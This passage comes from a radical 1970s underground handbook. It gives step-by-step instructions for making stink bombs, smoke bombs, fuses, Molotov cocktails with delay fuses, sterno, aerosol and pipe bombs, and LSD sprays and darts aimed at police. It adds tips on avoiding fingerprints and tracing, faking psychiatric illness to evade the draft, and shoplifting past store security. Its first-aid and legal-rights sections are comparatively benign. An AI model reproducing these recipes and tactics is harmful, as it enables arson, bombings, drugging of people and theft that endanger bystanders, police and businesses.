"demonstration," think "WAR" and "Battle Zone." Keep your eyes and ears open. Watch for
mistakes made by members of your gang and those made by other comrades. Watch for
blunders by the police. In street fighting, every soldier should think like a general.
Workshops should be organized right after an action to discuss the strength and
weaknesses of techniques and strategies used. Avoid political bullshit at such raps. Regard
them as military sessions. Persons not versed in the tactics of revolution usually have
nothing worthwhile to say about the politics of revolution.
People's Chemistry
STINK BOMB
You can purchase buteric acid at any chemical supply store for "laboratory experiments." It
can be thrown or poured directly in an area you think already stinks. A small bottle can be
left uncapped behind a door that opens into the target room. When a person enters they
will knock over the bottle, spilling the liquid. Called a "Froines," by those in the know, an
ounce of buteric acid can go a long way. Be careful not to get it on your clothing. A
home-made stink bomb can be made by mixing a batch of egg whites, Drano, (sodium
hydroxide) and water. Let the mixture sit for a few days in a capped bottle before using.
SMOKE BOMB
Sometimes it becomes strategically correct to confuse the opposition and provide a smoke
screen to aid an escape. A real home-made stroke bomb can be made by combining four
parts sugar to six parts saltpeter (available at all chemical supply stores). This mixture
must then be heated over a very low flame. It will blend into a plastic substance. When this
starts to gel, remove from the heat and allow the plastic to cool. Embed a few wooden
match heads into the mass while it's still pliable and attach a fuse.*
The smoke bomb itself is a non-explosive and non-flame-producing, so no extreme safety
requirements are needed. About a pound of the plastic will produce thick enough smoke to
fill a city block. Just make sure you know which way the wind is blowing.
Weathermen-women! If you're not the domestic type, you can order smoke flares (yellow or
black) for $2.00 a flare [12 inch] from Time Square Stage Lighting Co., 318 West 47th
Street, New York, NY 10036.
*You can make a good homemade fuse by dipping a string in glue and then rolling it lightly
in gunpowder. When the glue hardens, wrap the string tightly and neatly with scotch tape.
This fuse can be used in a variety of ways. Weight it on one end and drop a rock into the
tank of a pig vehicle. Light the other end and run like hell.
CBW
LACE (Lysergic Acid Crypto-Ethelene) can be made by mixing LSD with DMSO, a high
penetrating agent, and water. Sprayed from an atomizer or squirted from a water pistol,
the purple liquid will send any pig twirling into the Never-Never Land of chromosome
damage. It produces an involuntary pelvic action in cops that resembles fucking.
Remember when Mace runs out, turn to Lace.
How about coating thin darts in LSD and shooting them from a Daisy Air Pellet Gun? Guns
and darts are available at hobby and sports shops. Sharpening the otherwise dull darts will
help in turning on your prey.
MOLOTOV COCKTAIL
Molotov cocktails are a classic street fighting weapon served up around the world. If you've
never made one, you should try it the next time you are in some out-of-the-way barren
place just to wipe the fear out of your mind and know that it works. Fill a thin-walled bottle
half full with gasoline. Break up a section of styrofoam (cups made of this substance work
fine) and let it sit in the gasoline for a few days. The mixture should be slushy and almost fill
the bottle. The styrofoam spreads the flames around and regulates the burning. The
mixture has nearly the same properties as napalm. Soap flakes (not detergents) can be
substituted for styrofoam. Rubber cement and sterno also work. In a pinch, plain gasoline
will do nicely, but it burns very fast. A gasoline-kerosene mixture is preferred by some folks.
Throwing, although by far not the safest method, is sometimes necessary. The classic
technique of stuffing a rag in the neck of a bottle, lighting and tossing is foolish. Often gas
fumes escape from the bottle and the mixture ignites too soon, endangering the thrower. If
you're into throwing, the following is a much safer method: Once the mixture is prepared
and inside the bottle, cap it tightly using the original cap or a suitable cork. Then wash the
bottle off with rubbing alcohol and wipe it clean. Just before you leave to strike a target,
take a strip of rag or a tampax and dip it in gasoline. Wrap this fuse in a small plastic
baggie and attach the whole thing to the neck of the capped bottle with the aid of several
rubber bands. When you are ready to toss, use a lighter to ignite the baggie. Pall back your
arm and fling it as soon as the tampax catches fire. This is a very safe method if followed to
the letter. The bottle must break to ignite. Be sure to throw it with some force against a
hard surface.
Naturally, an even safer method is to place the firebomb in a stationary position and rig up
a timing fuse. Cap tightly and wipe with alcohol as before. The alcohol wipe not only is a
safety factor, but it eliminates tell-tale fingerprints in case the Molotov doesn't ignite. Next,
attach an ashcan fire cracker (M-80) or a cherry bomb to the side of the bottle using
epoxy glue. A fancier way is to punch a hole in the cap and pull the fuse of the cherry bomb
up through the hole before you seal the bottle. A dab of epoxy will hold the fuse in place
and insure the seal. A firecracker fuse ignites quickly so something will have to be rigged
that will deal the action enough to make a clean getaway.
When the firebomb is placed where you want it, light up a non-filter cancerette. Take a few
puffs (being sure not to inhale the vile fumes) to get it going and work the unlighted end
over the fuse of the firecracker. This will provide a delay of from 5 to 15 minutes. To use
this type of fuse successfully, there must be enough air in the vicinity so the flame won't go
out. A strong wind would not be good either. When the cancerette burns down, it sets off
the firecracker which in turn explodes and ignites the mixture. The flames shoot out in the
direction opposite to where you attach the firecracker, thus allowing you to aim the
firebomb at the most flammable material. With the firecracker in the cap, the flames
spread downward in a halo. The cancerette fuse can also be used with a book of matches to
ignite a pool of gasoline or a trash can. Stick the unlighted end behind the row of match
heads and close the cover. A firecracker attached to a gallon jug of red paint and set off
can turn an office into total abstract art.
Commercial fuses are available in many hobby stores. Dynamite fuses are excellent and
sold in most rural hardware stores. A good way to make a homemade fuse is described
above under the Smoke Bomb section. By adding an extra few feet of fuse to the device and
then attaching the lit cancerette fuse, you add an extra measure of caution. It is most
important to test every type of fuse device you plan to use a number of times before the
actual hit. Some experimentation will allow you to standardize the results. If you really want
to get the job done right and have the time, place several molotov cocktails in a group and
rig two with fuses (in case one goes out). When one goes, they all go . .
.BAROOOOOOOOOOM!
STERNO BOMB
One of the simplest bombs to make is the converted sterno can. It will provide some bang
and a widely dispersed spray of jellied fire. Remove the lid from a standard, commercially
purchased can and punch a hold in the center big enough for the firecracker fuse. Take a
large spoonful of jelly out of the center to make room for the firecracker. Insert the
firecracker and pull the fuse up through the hole in the lid. When in place, cement around
the hole with epoxy glue. Put some more glue around the rim of the can and reseal the lid.
Wipe the can and wash off excess with rubbing alcohol. A cancerette fuse should be used.
The can could also be taped around a bottle with Molotov mixture and ignited.
AEROSOL BOMB
You can purchase smokeless gunpowder at most stores where guns and ammunition are
sold. It is used for reloading bullets. The back of shotgun shells can be opened and the
powder removed. Black powder is more highly explosive but more difficult to come by. A
graduate chemist can make or get all you'll need. If you know one that can be trusted, go
over a lot of shit with him. Try turning him on to learning how to make "plastics" which are
absolutely the grooviest explosive available. The ideal urban guerrilla weapons are these
explosive plastic compounds.
The neat homemade bomb that really packs a wallop can be made from a regular aerosol
can that is empty. Remove the nozzle and punch in the nipple area on the top of the can.
Wash the can out with rubbing alcohol and let dry. Fill it gently and lovingly with an
explosive powder. Add a layer of cotton to the top and insert a cherry bomb fuse. Use
epoxy glue to hold the fuse in place and seal the can. The can should be wiped clean with
rubbing alcohol. Another safety hint to remember is never store the powder and your fuses
or other ignition material together. Powder should always be treated with a healthy amount
of respect. No smoking should go on in the assembling area and no striking of hard metals
that might produce a spark. Use your head and you'll get to keep it.
PIPE BOMBS
Perhaps the most widely used homemade concussion bombs are those made out of pipe.
Perfected by George Metesky, the renown New York Mad Bomber, they are deadly, safe,
easy to assemble, and small enough to transport in your pocket. You want a standard steel
pipe (two inches in diameter is a good size) that is threaded on both ends so you can cap
it. The length you use depends on how big an explosion is desired. Sizes between 3-10
inches in length have been successfully employed. Make sure both caps screw on tightly
before you insert the powder. The basic idea to remember is that a bomb is simply a hot
fire burning very rapidly in a tightly confined space. The rapidly expanding gases burst
against the walls of the bomb. If they are trapped in a tightly sealed iron pipe, when they
finally break out, they do so with incredible force. If the bomb itself is placed in a somewhat
enclosed area like a ventilation shaft, doorway or alleyway, it will in turn convert this larger
area into a "bomb" and increase the over-all explosion immensely.
When you have the right pipe and both caps selected, drill a hole in the side of the pipe
(before powder is inserted) big enough to pull the fuse through. If you are using a
firecracker fuse, insert the firecracker, pull the fuse through and epoxy it into place
securely. If you are using long fusing either with a detonator (difficult to come by) timing
device or a simple cancerette fuse, drill two holes and run two lines of fuse into the pipe.
When you have the fuse rigged to the pipe, you are ready to add the powder. Cape one end
snugly, making sure you haven't trapped any grains of powder in the threads. Wipe the
device with rubbing alcohol and you're ready to blast off.
A good innovation is to grind down one half of the pipe before you insert the powder. This
makes the walls of one end thinner than the walls of the other end. When you place the
bomb, the explosion, following the line of least resistance, will head in that direction. You
can do this with ordinary grinding tools available in any hardware or machine shop. Be sure
not to have the powder around when you are grinding the pipe, since sparks are produced.
Woodstock Nation contains instructions for more pipe bombs and a neat timing device
(see pages 115-117).
GENERAL BOMB STRATEGY
This section is not meant to be a handbook on explosives. Anyone who wishes to become an
expert in the field can procure a number of excellent books on the subject catalogued in
the Appendix. In bombing, as in trashing, the same general strategy in regard to the
selection of targets applies. Never use anti-personnel shrapnel bombs. Always be careful in
placing the devices to keep them away from glass windows and as far away from the front
of the building as possible. Direct them away from any area in which there might be people.
Sophisticated electric timers should be used only by experts in demolitions. Operate in the
wee hours of the night and be careful that you don't injure a night watchman or guard.
Telephone in warnings before the bomb goes off. The police record all calls to emergency
numbers and occasionally people have been traced down by the use of a voice-o-graph. The
best way to avoid detection is by placing a huge wad of chewed up gum on the roof of your
mouth before you talk. Using a cloth over the phone is not good enough to avoid detection.
Be as brief as possible and always use a pay phone.
When you get books from companies or libraries dealing with explosives or guerrilla warfare,
use a phony name and address. Always do this if you obtain chemicals from a chemical
supply house. These places are being increasingly watched by the F.B.I. Store your material
and literature in a safe cool place and above all, keep your big mouth shut!
First Aid For Street Fighters
Without intending to spook you, we think it is becoming increasingly important for as many
people as possible to develop basic first aid skills. As revolutionary struggle intensifies, so
will the number and severity of injuries increase. Reliance on establishment medical
facilities will become risky. Hospitals that border on "riot" areas are used by police to
apprehend suspects. All violence-induced injuries treated by establishment doctors might
be reported. Knife and gunshot wounds in all states by law must be immediately phoned in
for investigation. At times a victim has no choice but to run such risks. If you can, use a
phony name, but everyone should know the location of sympathetic doctors.
Chaos resulting from the gassing, clubbing and shooting associated with a police riot also
makes personal first aid important. Most demonstrations have medical teams that run with
the people and staff mobile units, but often these become the target of assault by the
more vicious pigs. Also, in the confusion, there is usually too much work for the medical
teams. Everyone must take responsibility for everyone else if we are to survive in the
streets. If you spot someone lying unconscious or badly injured, take it upon yourself to
help the victim. Immediately raise your arm or wave your Nation flag and shout for a medic.
If the person is badly hurt, it is best not to move him, or her, but if there is the risk of more
harm or the area is badly gassed, the victim should be moved to safety. Try to be as gentle
as possible. Get some people to help you.
WHAT TO DO
Your attitude in dealing with an injured person is extremely important. Don't panic at the
sight of blood. Most bloody injuries look far worse than they are. Don't get nervous if the
victim is unconscious. If you're not able to control your own fear about treating someone,
call for another person. It helps to attend a few first aid classes to overcome these fears in
practice sessions.
When you approach the victim, identify yourself. Calmly, but quickly figure out what's the
matter. Check to see if the person is alive by feeling for the pulse. There are a number of
spots to check if the blood is circulating, under the chin near the neck, the wrists, and
ankles are the most common. Get in the habit of feeling a normal pulse. A high pulse (over
100 per minute) usually indicates shock. A low pulse indicates some kind of injury to the
heart or nervous system. Massaging the heart can often restore the heartbeat, especially if
its loss is due to a severe blow to the chest. Mouth-to-mouth resuscitation should be used
if the victim is not breathing. Both these skills can be mastered in a first aid course in less
than an hour and should become second nature to every street fighter.
When it comes to dealing with bleeding or possible fractures, enlisting the victim's help as
well as adopting a firm but calm manner will be very reassuring. This is important to avoid
shock. Shock occurs when there is a serious loss of blood and not enough is being supplied
to the brain. The symptoms are high pulse rate; cold, clammy, pale skin; trembling or
unconsciousness. Try to keep the patient warm with blankets or coats. If a tremendous
amount of blood has been lost, the victim may need a transfusion. Routine bleeding can be
stopped by firm direct pressure over the source of bleeding for 5 to 10 minutes. If an
artery has been cut and bleeding is severe, a tourniquet will be needed. Use a belt, scarf or
torn shirtsleeve. Tie the tourniquet around the arm or leg directly above the bleeding area
and tighten it until the bleeding stops. Do not loosen the tourniquet. Wrap the injured limb
in a cold wet towel or ice if available and move the person to a doctor or hospital before
irreparable damage can occur. Don't panic, though, you have about six hours.
A painful blow to a limb is best treated with an ice pack and elevation of the extremity by
resting it on a pillow or rolled-up jacket. A severe blow to the chest or side can result in a
rib fracture which produces sharp pains when breathing and/or coughing up blood. Chest
X-rays will eventually be needed. Other internal injuries can occur from sharp body blows
such as kidney injuries. They are usually accompanied by nausea, vomiting, shock and
persistent abdominal pain. If you feel a bad internal injury has occurred, get prompt
professional help.
Head injuries have to be attended to with more attention than other parts of the body.
Treat them by stopping the bleeding with direct pressure. They should be treated before
other injuries as they more quickly can cause shock. Every head injury should be X-rayed
and the injured person should be watched for the next 24 hours as complications can
develop hours after the injury was sustained. After a severe blow to the head, be on the
look-out for excessive sleepiness or difficulty in waking. Sharp and persistent headaches,
vomiting and nausea, dizziness or difficulty maintaining balance are all warning signs. If they
occur after a head injury, call a doctor.
If a limb appears to be broken or fractured, improvise a splint before moving the victim.
Place a stiff backing behind the limb such as a board or rolled-up magazine and wrap both
with a bandage. Try to avoid moving the injured limb as this can lead to complicating the
fracture. Every fracture must be X-rayed to evaluate the extent of the injury and
subsequent treatment.
Bullet wounds to the abdomen, chest or head, if loss of consciousness occurs are extremely
dangerous and must be seen by a doctor immediately. If the wound occurs in the limb,
treat as you would any bleeding with direct pressure bandage and tourniquet only if nothing
else will stop the bleeding.
If you expect trouble, every person going to a street scene should have a few minimum
supplies in addition to those mentioned in the section on Demonstrations for protection. A
handful of bandaids, gauze pads (4x4), an ace bandage (3 inch width), and a roll of 1/2 inch
adhesive tape can all easily fit in your pocket. A plastic bag with cotton balls pre-soaked in
water will come in handy in a variety of situations where gas is being used, as will a small
bottle of mineral oil. You should write the name, phone number and address of the nearest
movement doctor on your arm with a ballpoint pen. Your arm's getting pretty crowded,
isn't it? If someone is severely injured, it may be better to save their life by taking them to
a hospital, even though that means probable capture for them, rather than try to treat it
yourself. However, do not confuse the police with the hospital. Many injured people have
been finished off by the porkers, and that's no joke. It is usually better to treat a person
yourself rather than let the pigs get them, unless they have ambulance equipment right
there and don't seem vicious. Even then, they will often wait until they get two or three
victims before making a trip to the hospital.
If you have a special medical problem, such as being a diabetic or having a penicillin allergy,
you should wear a medi-alert tag around your neck indicating your condition. Every person
who sees a lot of street action should have a tetanus shot at least once in every five years.
Know just this much, and it will help to keep down serious injuries at demonstrations. A few
lessons in a first aid class at one of the Free Universities or People's Clinics will go a long
way in providing you with the confidence and skill needed in the street.
MEDICAL COMMITTEES
Here is a partial list of some Medical Committees for Human Rights. They will be glad to
give you first aid instructions and often organize medical teams to work demonstrations. A
complete list is available from the Chicago office.
BALTIMORE, MARYLAND, 21215 - 6012 Wallis Ave.
BERKELEY, CALIFORNIA, 94609 - 663 Alcartz
BIRMINGHAM, ALABAMA, 35205 - 2122 9th Ave. South
CHICAGO, ILLINOIS - 1512 E. 55th St.
CLEVELAND, OHIO, 44112 - Outpost, 13017 Euclid Ave.
DETROIT, MICHIGAN, 48207 - 1300 E. Lafayette
HARTFORD, CONN., 06112 - 161 Ridgefield St.
LOS ANGELES, CALIF. - PO Box 2463, Sepulveda, Calif. 91343 (mail)
NASHVILLE,TENN., 37204 - 3301 Leland Land
NEW HAVEN, CONN., - 30 Bryden Terrace, Hamden, Conn. 06514 (mail)
NEW ORLEANS LA., 70130 - 623 Bourbon St.
NEW YORK, NY 10014 - 15 Charles St.
PHILADELPHIA, PA., 19119 - 6705 Lincoln Drive
PITTSBURGH, PA., 15222 - 617 Empire Building
SAN FRANCISCO, CALIF., 94115 - 2519 Pacific Ave.
SYRACUSE, NY, 13210 - 931 Comstock Ave.
WASHINGTON, D.C. - 3410 Taylor St., Chevy Chase, Md. 20015 (mail)
Hip-Pocket Law
LEGAL ADVICE
Any discussion about what to do while waiting fur the lawyer has to be qualified by pointing
out that from the moment of arrest through the court appearances, cops tend to
disregard a defendant's rights. Nonetheless, you should play it according to the book
whenever possible as you might get your case bounced out on a technicality. When you get
busted, rule number one is that you have the right to remain silent. We advise that you give
only your name and address. There is a legal dispute about whether or not you are
obligated under the law to do even that, but most lawyers feel you should. The address can
be that of a friend if you're uptight about the pigs knowing where you live.
When the pigs grab you, chances are they are going to insult you, rough you up a little and
maybe even try to plant some evidence on you. Try to keep your cool. Any struggle on your
part, even lying on the street limp, can be considered resisting arrest. Even if you beat the
original charge, you can be found guilty of resisting and receive a prison sentence. Often if
the pigs beat you, they will say that you attacked them and generally charge you with
assault.
If you are stopped in the street on suspicion (which means you're black or have long hair),
the police have the right to pat you down to see if you are carrying a weapon. They cannot
search you unless they place you under arrest. Technically, this can only be done in the
police station where they have the right to examine your possessions. Thus, if you are in a
potential arrest situation, you should refrain from carrying dope, sharp objects that can be
classified as a weapon, and the names and phone numbers of people close to you, like your
dealer, your local bomb factory, and your friends underground.
Forget about talking your way out of it or escaping once you're in the car or paddy wagon.
In the police station, insist on being allowed to call your lawyer. Getting change might be a
problem so you should always have a few dimes hidden. Since many cases are dismissed
because of this, you'll generally be allowed to make some calls, but it might take a few
hours. Call a close friend and tell him to get all the cash that can be quickly raised and
head down to the court house. Usually the police will let you know where you'll be taken. If
they don't, just tell your friend what precinct you're being held at, and he can call the
central police headquarters and find out what court you'll be appearing in. Ask your friend
to also call a lawyer which you also should do if you get another phone call. Hang up and
dial a lawyer or defense committee that has been set up for demonstrations. The lawyer
will either come to the station or meet you in court depending on the severity of the charge
and the likelihood you'll be beaten in the station. When massive demonstrations are
occurring where a number of busts are anticipated, it's best to have lawyers placed in
police stations in the immediate vicinity.
The lawyer will want to know as many details as possible of the case so try and concentrate
on remembering a number of things since the pigs aren't going to let you take notes. If you
can, remember the name and badge number of the fink that busted you. Sometimes they'll
switch arresting officers on you. Remember the time, location of the bust and any potential
witnesses that the lawyer might be able to contact.
If you are unable to locate a lawyer, don't panic, the court will assign you one at the time of
the arraignment. Legal Aid lawyers are free and can usually do as good a job as a private
lawyer at an arraignment. Often they can do better, as the judge might set a lower bail if he
sees you can't afford a private lawyer. The arraignment is probably the first place you'll find
out what the charges are against you. There will also be a court date set and bail
established. The amount of bail depends on a variety of factors ranging from previous
convictions to the judge's hangover. It can be put up in collateral, i.e., a bank book, or often
there is a cash alternative offered which amounts to about 10% of the total bail.
Your friend should be in the court with some cash (at least a hundred dollars is
recommended). For very high bail, there are the bail bondsmen in the area of the
courthouse who will cover the bail for a fee,generally not to exceed 5%. You will need some
signatures of solid citizens to sign the bail papers and perhaps put up some collateral.
Once you get bailed out, you should contact a private lawyer, preferably one that has
experience with your type of case. If you are low on bread, check out one of the community
or movement legal groups in your area. It is not advisable to keep the legal aid lawyer
beyond the arraignment if at all possible.
If you're in a car or in your home, the police do not have a right to search the premises
without a search warrant or probable cause. Do not consent to any search without a
warrant, especially if there are witnesses around who can hear you. Without your consent,
the pigs must prove probable cause in the court. It's unbelievable the number of
defendants that not only come naked, but pull their own pants down. Make the cops kick in
the door or break open the trunk themselves. You are under no obligation to assist them in
collecting evidence, and helping them weakens your case.
LAWYERS GROUPS
National Lawyers Guild
The "Guild" provides various free legal services especially for political prisoners. If you have
any legal hassles, call and see if they'll help you. You can call the one nearest you and get
the name of a good lawyer in your area.
BOSTON - 70 Charles St.
DETROIT - 5705 N. Woodward St.
LOS ANGELES - c/o Haymarket, 507 N. Hoover St.
NEW YORK - 1 Hudson St.
SAN FRANCISCO - 197 Steiner St.
Outside of these areas, there are no offices, but people to contact in the following cities
are:
FLINT, MICH., Carl Bekofske, 1003 Church St.
PHILADELPHIA, PA. - A. Harry Levitan, 1412 Fox Building
WASHINGTON, D.C. - S. David Levy, 2812 Pennsylvania Ave., N.W.
American Civil Liberties Union
The ACLU is not as radical as the Guild, but will in rare instances provide good lawyers for a
variety of civil liberty cases such as censorship, denial of permits to demonstrations, and
the like. But beware of their tendency to win the legal point while losing the case. Here is a
list of some of their larger offices.
ALABAMA - Box 1972, University, Alabama 35486
CALIFORNIA - ACLU of Northern California, 503 Market St.,
SAN FRANCISCO, CA - 94105 (EX 2-4692)
COLORADO - 1452 Pennsylvania St., Denver, Colorado 80203 (303-TA5-2930)
GEORGIA - 5 Forsyth St. N.W., Atlanta, Georgia 30303 (404-523-5398)
ILLINOIS - 6 S. Clark, Chicago, Illinois 60603 (312-236-5564)
MICHIGAN - 234 State St., Detroit, Mich. 48226 (313-961-4662)
MONTANA - 2707 Glenwood Land, Billings, Montana 59102 (406-651-2328)
NEW MEXICO - 131 La Vega S.W., Albuquerque, New Mexico 87105 (505-877-5286)
NEW YORK - 156 Fifth Ave., New York, NY 10010 (212-WA9-6076)
NORTH DAKOTA - Ward County (Minot), Box 1000, Minot, North Dakota 58701
(702-838-0381)
OHIO - Suite 200, 203 E. Broad St., Columbus, Ohio 43215
WASHINGTON, DC - (NCACLU) 1424 16th St. NW, Suite 501,
WASHINGTON, DC - 20036 (202-483-3830) (202-483-3830)
WEST VIRGINIA - 1228 Seventh St., Huntington, West Virginia 25701
WISCONSIN - 1840 N. Farwell Ave., Rm. 303, Milwaukee, Wisc. 53202 (414-272-4032)
To obtain a complete list of all the ACLU chapters, write: American Civil Liberties Union,
156 5th Avenue, New York, NY 10010, or call them at (212) WA 9-6076.
JOIN THE ARMY OF YOUR CHOICE
The first rule of our new Nation prohibits any of us from serving in the army of a foreign
power with which we do not have an alliance. Since we exist in a state of war with the Pig
Empire, we all have a responsibility to beat the draft by any means necessary.
First check out your medical history. Review every chronic or long-term illness you ever had.
Be sure to put down all the serious infections like mono or hep. Next, make note of your
physical complications. When you have assembled a complete list, get a copy of Physical
Deferments or one of the other draft counseling manuals and see if you qualify. If you have
a legitimate deferment, document it with a letter from a doctor.
The next best deal is a Conscientious Objection status (C.O.) or a psychiatric deferment
(psycho). The laws have been getting progressively broader in defining C.O. status during
the past few year s. The most recent being, "sincere moral objections to war," without
necessarily a belief in a supreme being. There are general guidelines sent out by the
National Office of Selective Service that say it is a matter of conscience. The decision,
however, is still pretty much in the hands of the local board. Visit a Draft Counseling Center
if you feel you have a chance for this type of story. They'll know how your local board tends
to rule. There are still some more cases to be heard by the Supreme Court before
objection to a particular war is allowed or disallowed. It is not grounds for deferment as of
now.
Psychos are our specialty. Chromosome damage has totally wiped out our minds when it
comes to concentrating on killing innocent people in Asia. When you get your invite to join
the army, there are lots of ways you can prepare yourself mentally. Begin by staggering up
to a cop and telling him you don't know who you are or where you live. He'll arrange for you
to be chauffeured to the nearest mental hospital. There you repeat your performance,
dropping the clue that you have used LSD in the past, but you aren't sure if you're on it now
or not. In due time, they'll put you up for the night. When morning comes, you bounce out of
bed, remember who you are, swear you'll never drop acid again and thank everyone who
took care of you. Within a few hours, you'll be discharged. Don't be uptight about thinking
how they'll lock you up forever cause you really are nuts. The hospitals measure victories by
how quickly they can throw you out the door. They are all overcrowded anyway.
In most areas, a one-night stand in a mental hospital is enough to convince the shrink at
the induction center that you're capable of eating the flesh of a colonel. Just before you go,
see a sympathetic psychiatrist and explain your sad mental shape. He'll get verification
that you did time in a hospital and include it in his letter, that you'll take along to the
induction center.
When you get to the physical examination, a high point in any young man's life, there are
lots of things working in your favor. Here, long hair helps; the army doesn't want to bother
with trouble-makers. Remember this even though a tough looking sergeant runs down
bullshit about "how they're gonna fix your ass" and "anybody with a trigger finger gets
passed." He's just auditioning for the Audie Murphy movies, so don't believe anything he
lays down.
Talk to the other guys about how rotten the war in Vietnam is and how if you get forced to
go, you'll end up shooting some officers. Tell them you'd like the training so you can come
back and take up with the Weathermen.
Check off as many items as can't be verified when given the forms. Suicide, dizzy spells,
bed-wetting, dope addiction, homosexuality, hepatitis. Be able to drop a few symptoms on
the psychiatrist to back up your story of rejection by a cold and brutal society that was
indifferent, from a domineering father that beat you, and mother that didn't understand
anything. Be able to trace your history of bad family relationships, your taking to the
streets at 15 and eventually your getting "hooked." Let him "pry" things out of you if
possible. Show him your letter if you had the foresight to get one.
Practice a good story before you go for the physical with someone who has already beat
the system. If your local board is fucked up, you can transfer to an area that disqualifies
almost everyone who wants out, such as the New York City boards. If you can't think of
anything you can always get FUCK ARMY tattooed on the outside of the baby finger of your
right hand and give the tough sergeant a snappy salute and a hearty "yes sir!"*
*If unfortunately you get hauled in. The Army gives you a life insurance policy. By making
Dan Berrigan or Angela Davis the beneficiary you might avoid front-line duty.
CANADA, SWEDEN & POLITICAL ASYLUM
If you've totally fucked up your chances of getting a deferment or already are in the service
and considering ditching, there are some things that you should know about asylum.
There are three categories of countries that you should be interested in if you are planning
to ship out to avoid the draft or a serious prison term. The safest countries are those with
which Amerika has mutual offense treaties such as Cuba, North Korea and those behind
the so-called Iron Curtain. The next safest are countries unfriendly to the U.S. but suffer
the possibility of a military coup which might radically affect your status. Cambodia is a
recent example of a border-line country. Some cats hijacked a ship bound for Vietnam and
went to Cambodia where they were granted asylum. Shortly thereafter the military with a
good deal of help from the CIA, took over and now the cats are in jail. Algeria is currently a
popular sanctuary in this category.
Sweden will provide political asylum for draft dodgers and deserters. It helps to have a
passport, but even that isn't necessary since they are required by their own laws to let you
in. There are now about 35,000 exiles from the Pig Empire living in Sweden. The American
Deserters Committee, Upplandsgaten 18, Stockholm, phone 08-344663, will provide you
with immediate help, contacts and procedural information once you get there. If you enter
as a tourist with a passport, you can just go to the local police station, state you are
seeking asylum and fill out a form. It's that sample. They stamp your passport and this
allows you to hustle rent and food from the Swedish Social Bureau. It takes six months for
you to get working papers that will permit you to get employment, but you can live on
welfare until then with no hassle. The following places can be contacted, for additional help.
They are all in Stockholm:
Reverend Tom Hayes 82-42-11 or 21-45-86
Kristina Nystrom of the Social Bureau 08-230570
Bengt Suderstrom 31-84-32 (legal)
Hans-Goran Franck 10-25-02(legal)
Canada does not offer political asylum but they do not support the U.S. foreign policy in
Southeast Asia so they allow draft dodgers and deserters to the current tune of 50,000 to
live there unmolested. Do not tell the officials at the border that you are a deserter or
draft dodger, as they will turn you in. Pose as a visitor. To work in Canada you have to
qualify for landed immigration status under a point system.
There will be a number of background questions asked and you have to score 50 points or
better to pass and qualify. You get one point for each year of formal education, 10 points if
you have a professional skill, 10 points for being between 18-35 years of age, more points
for having a Canadian home and job waiting for you, for knowing English or French and a
whopping 15 points for having a stereotyped middle class appearance and life-style.
Letters from a priest or rabbi will help here. Some entry points are easier than others.
Kingsgate, for example, just north of Montana is very good on weekdays after 10:00 P.M.
The best approach if you are considering going to Canada is to write or, better still, visit
the Montreal Council to Aid War Resisters, Case Postale 5, Westmount, Montreal, 215
Quebec or American Deserters Committee, 3837 Blvd., Saint Laurent, St. Louis, Montreal
3, Quebec. They will provide you with the latest info on procedures and the problems of
living in Canada as a war resister. If you can't make it up there, see a local anti-war
organization for counseling. If you are already in the army, you should find out all you need
to know before you ditch. It's best to cross the border while you're on leave as it might
mean the difference between going AWOL and desertion if you decide to come back. In any
event, no one should renounce their citizenship until they have qualified for landed
immigration status as that would classify the person as a non-resident and make it possible
for the Canadian police to send you back, which on a few rare occasions has happened.
Because there have been few cases of fugitives from the U.S. seeking political asylum, there
is not a clear and ample formula that can be stated. Germany, France, Belgium and
Sweden will often offer asylum for obvious political cases but each case must be considered
individually. Go there incognito. Contact a movement organization or lawyer and have them
make application to the government. Usually they will let you stay if you promise not to
engage in political organizing in their country. In any event if they deport you these
countries are good enough to let you pick the country to which you desire to be sent.
We feel it's our obligation to let people know that life in exile is not all a neat deal, not by a
long shot. You are removed from the struggle here at home, the problems of finding work
are immense and the customs of the people are strange to you. Most people are unhappy
in exile. Many return, some turn themselves in and others come back to join the growing
radical underground making war in the belly of the great white whale.
Steal Now, Pay Never
SHOPLIFTING
This section presents some general guidelines on thievery to put you ahead of the impulse
swiping. With some planning ahead, practice and a little nerve, you can pick up on some
terrific bargains.
Being a successful shoplifter requires the development of an outlaw mentality. When you
enter a store you should already have cased the joint so don't browse around examining all
sorts of items, staring over your shoulder and generally appearing like you're about to
snatch something and are afraid of getting caught. Enter, having a good idea of what you
want and where it's located.
Camouflage is important. Be sure you dress the part by looking like an average customer. If
you are going to rip-off expensive stores (why settle for less), act like you have a chauffeur
driven car double parked around the corner. A good rule is dress in the style and price
range of the clothes, etc., you are about to shoplift. The reason we recommend the more
expensive stores is that they tend to have less security guards, relying instead on
mechanical methods or more usually on just the sales people. Many salespeople are
uptight about carrying out a bust if they catch you. A large number are thieves themselves,
in fact one good way to steal is simply explain to the salesclerk that you're broke and ask if
you can take something without paying. It's a great way to radicalize shop personnel by
rapping to them about why they shouldn't give a shit if the boss gets ripped off.
The best time to work out is on a rainy, cold day during a busy shopping season. Christmas
holiday is a shoplifter's paradise. In these periods you can wear heavy overcoats or loose
raincoats without attracting suspicion. The crowds of shoppers will keep the nosy
"can-I-help-you's" from fucking up your style.
Since you have already checked out the store before hitting it, you'll know the store's
"blind-spots" where you can be busy without being observed too easily. Dressing rooms,
blind alley aisles and washrooms are some good spots. Know where the cashier's counter is
located, where the exits to the street and storage rooms are to be found, and most
important, the type of security system in use.
If you are going to snatch in the dressing room, be sure to carry more than one item in with
you. Don't leave tell-tale empty hangers behind. Take them out and ditch them in the aisles.
An increasingly popular method of security is a small shoplifting plastic detector attached
to the price tag. It says "Do Not Remove" and if you do, it electronically triggers an alarm in
the store. If you try to make it out the door, it also trips the alarm system. When a
customer buys the item, the cashier removes the detector with a special deactivation
machine. When you enter the store, notice if the door is rigged with electronic eyes. They
are often at the waist level, which means if the item is strapped to your calf or tucked
under your hat, you can walk out without a peep from the alarm. If you trigger the alarm
either inside the store or at the threshold, just dash off lickety-split. The electronic eyes are
often disguised as part of the decor. By checking to see what the cashier does with
merchandise bought, you can be sure if the store is rigged. Other methods are undercover
pigs that look like shoppers, one-way mirrors and remote control television cameras.
Undercover pigs are expensive so stores are usually understaffed. Just watch out (without
appearing to watch out) that no one observes you in action. As to mirrors and cameras
there are always blind spots in a store created when displays are moved around, counters
shifted, and boxes piled in the aisles. Mirrors and cameras are rarely adjusted to fit these
changes. Don't get turned off by this security jazz. The percentage of stores that have
sophisticated security systems such as those described is very small. If you work out at
lunch time, the security guards and many of the sales personnel will be out of the store.
Just before closing is also good, because the clerks are concentrating on going home.
By taking only one or two items, you can prevent a bust if caught by just acting like a dizzy
